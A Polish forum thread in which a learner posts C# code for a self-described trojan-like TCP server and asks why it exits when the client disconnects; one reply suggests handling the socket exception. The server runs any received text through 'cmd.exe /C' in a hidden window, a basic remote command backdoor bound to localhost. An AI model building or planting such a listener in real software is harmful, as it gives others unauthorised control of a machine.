Wyłączający się serwer (aplikacja klient-serwer)

0

Witam,
w celu podszkolenia się w C# postanowiłem napisać prostą aplikację klient-serwer (coś na zasadzie trojana - ten wpadł mi pierwszy do głowy i w zasadzie jego działanie jest proste) ...aczkolwiek napotkałem nieprzewidziane problemy.
W zasadzie wszystko działa poprawnie, ale serwer po rozlaczeniu klienta po prostu wyłącza się.

 
Main:

class Program
    {
        static void Main()
        {
            CServer server = new CServer();
        }

       
    }
 
CServer:

class CServer
{
        public CServer() 
        { 
            init(); 
        }

        private void init()
        {
            bytes = new System.Byte[256];
            is_first = true;
            is_connected = false;
            client_command = null;

            start_server("127.0.0.1", 8008);
            //tu poprzednio po prostu wykonywalem eloop(), lecz po przeczytaniu paru tematow sprobowalem z tworzeniem watku
            System.Threading.Thread eloop_thread = new System.Threading.Thread(new System.Threading.ThreadStart(eloop));
            eloop_thread.Start(); 
        }

        private void start_server(string adress, System.Int32 port)
        {
            tcp_listener = new System.Net.Sockets.TcpListener(System.Net.IPAddress.Parse(adress), port);
            tcp_listener.Start();
            //Q   tu poprzednio dwie kolejne linie kodu byly odkomentowane
            //tcp_client = tcp_listener.AcceptTcpClient();
            //network_stream = tcp_client.GetStream();
        }

        private void eloop()
        {
            try
            {
                while(true)
                {
                    //Q    metoda stworzona po zakomentowaniu dwoch linijek kodu w start_server(x,y)
                    if (!is_connected)
                    {
                        tcp_client = tcp_listener.AcceptTcpClient();
                        network_stream = tcp_client.GetStream();
                        msg = System.Text.Encoding.ASCII.GetBytes("Connected!\r\n");
                        network_stream.Write(msg, 0, msg.Length);
                        is_connected = true;
                    }
                    if(!is_first)
                    {
                        msg = System.Text.Encoding.ASCII.GetBytes("Wpisz komende:\r"); 
                        network_stream.Write(msg, 0, msg.Length);
                    }
                    client_command = null;

                    while((i = network_stream.Read(bytes, 0, bytes.Length)) != 0)
                    {
                        recv_char = System.Text.Encoding.ASCII.GetString(bytes, 0, i);
                        client_command += recv_char;
                        if (client_command.Contains("\n"))
                            break;  
                    }
                    System.String[] command_array = System.Text.RegularExpressions.Regex.Split(client_command, "===");
                    if (client_command.Contains("==="))
                    {
                                if (command_array[0].Equals("sendmessage"))
                                {
                                    System.Windows.Forms.MessageBox.Show(command_array[1]);
                                }
                    }
                    else
                    {

                                if (client_command.Equals("exit\r\n"))
                                {
                                    msg = System.Text.Encoding.ASCII.GetBytes("Disconnecting\r\n");
                                    network_stream.Write(msg, 0, msg.Length);
                                    is_connected = false;
                                    tcp_listener.Server.Disconnect(true);

                                    //break;
                                }
                                else
                                {
                                    process_init();
                                    process.Close();
                                }
                    }
                    is_first = false;
                }
            }
            catch { }
        }

        private static void process_init()
        {
            process_info = new System.Diagnostics.ProcessStartInfo("cmd.exe", "/C " + client_command);
            process_info.CreateNoWindow = true;              
            process = System.Diagnostics.Process.Start(process_info);
        }

    }

Rozumiem, że kod może być niepoprawnie brzydko napisany, tu chodzi mi jedynie o kwestię samoczynnego wyłączania się serwera po rozłączeniu klienta. Na potrzeby testów łączyłem się poprzez telnet (klient: putty).

Pozdrawiam.

0

Dodaj obsluge wyjatkow przy odbieraniu pakietow. Zerwanie polaczenia daje wyjatek zwiazany z socketem wiec trza go przechwycic i obsluzyc.

1 użytkowników online, w tym zalogowanych: 0, gości: 1